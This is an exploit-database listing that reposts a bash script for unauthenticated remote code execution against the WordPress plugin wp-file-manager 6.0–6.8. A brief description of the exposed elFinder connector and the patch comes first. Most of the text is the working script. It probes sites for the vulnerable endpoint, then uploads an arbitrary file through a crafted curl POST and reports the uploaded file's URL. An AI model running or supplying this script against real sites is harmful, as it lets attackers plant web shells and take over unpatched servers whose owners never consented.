Author

time4ster

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-35387

Category

web applications

Date add

02-12-2020

Platform

php

# Exploit Title: WordPress Plugin Wp-FileManager 6.8 - RCE
# Date: September 4,2020
# Exploit Author: Mansoor R (@time4ster)
# Version Affected: 6.0 to 6.8
# Vendor URL: https://wordpress.org/plugins/wp-file-manager/
# Patch: Upgrade to wp-file-manager 6.9
# Tested on: wp-file-manager 6.0 (https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip)

#Description:
#The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself. Such libraries often include example files that are not intended to be used “as-is” without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file

#Using connector.minimal.php file attacker can upload arbitrary file to the target (unauthenticated) & thus can achieve Remote code Execution.

#Patch commit details:
# https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2373068%40wp-file-manager%2Ftrunk&old=2372895%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail=

#Credits:
#1. https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/
#2. https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/

#!/bin/bash

echo
echo "============================================================================================"
echo "wp-file-manager wordpress plugin Unauthenticated RCE Exploit    By: Mansoor R (@time4ster)"
echo "============================================================================================"
echo

function printHelp()
{
	echo -e "
Usage:

-u|--wp_url				Wordpress target url
-f|--upload_file			Absolute location of local file to upload on the target.
-k|--check				Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.
-v|--verbose				Also prints curl command which is going to be executed
-h|--help				Print Help menu


Example:
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose
"
}

check="false"
verbose="false"
#Processing arguments
while [[ "$#" -gt 0 ]]
do
key="$1"

case "$key" in
    -u|--wp_url)
	    wp_url="$2"
	    shift
	    shift # past argument
	    ;;
    -f|--upload_file)
	    upload_file="$2"
	    shift
	    shift
	    ;;
    -k|--check)
	    check="true"
	    shift
	    shift
	    ;;
    -v|--verbose)
	    verbose="true"
	    shift
	    ;;
    -h|--help)
	    printHelp
	    exit
	    shift
	    ;;
    *)   
	    echo [-] Enter valid options
	    exit
	    ;;
esac
done

[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL." && exit 
[[ ! -s "$upload_file" ]] && [[ "$check" == "false" ]]  && echo "[-] Either supply --upload_file or --check" && exit

#Script have dependency on jq
jq_cmd=$(command -v jq)
[[ -z "$jq_cmd" ]] && echo -e "[-] Script have dependency on jq. Insall jq from your package manager.\nFor debian based distro install using command: apt install jq" && exit

function checkWPFileManager()
{										#Takes 1 argument: url
	url="$1"
	target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
	
	response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint")
	#echo "$response"
	#{"error":["errUnknownCmd"]} is returned when vulnerable endpoint is hit
	is_vulnerable=$(echo "$response" | grep "\{\"error\":\[\"errUnknownCmd\"\]\}")
	[[ -n "$is_vulnerable" ]] && echo "[+] Target: $url is vulnerable"
	[[ -z "$is_vulnerable" ]] && echo "[-] Target: $url is not vulnerable"	
}

function exploitWPFileManager()
{										#Takes 3 arguments: url & file_upload & verbose(true/false)
	declare url="$1"
	declare file_upload="$2"
	declare verbose="$3"
	target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"

	if [ "$verbose" == "true" ];then
		echo "curl POC :"
		echo "curl -ks --max-time 5 --user-agent \"$user_agent\" -F \"reqid=17457a1fe6959\" -F \"cmd=upload\" -F \"target=l1_Lw\"  -F \"mtime[]=1576045135\" -F \"upload[]=@/$file_upload\" \"$target_endpoint\" "
		echo
	fi

	response=$(curl -ks --max-time 5 --user-agent "$user_agent" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw"  -F "mtime[]=1576045135" \
		-F "upload[]=@/$file_upload" \
		"$target_endpoint" )
       #echo "$response"
       file_upload_url=$(echo "$response" | jq -r .added[0].url  2>/dev/null)
	[[ -n "$file_upload_url" ]] && echo -e "[+] W00t! W00t! File uploaded successfully.\nLocation:  $file_upload_url "
	[[ -z "$file_upload_url" ]] && echo "[-] File upload failed."
}	


[[ "$check" == "true" ]] && checkWPFileManager "$wp_url"
[[ -s "$upload_file" ]] && exploitWPFileManager "$wp_url" "$upload_file" "$verbose"

echo

#  0day.today [2024-11-16]  #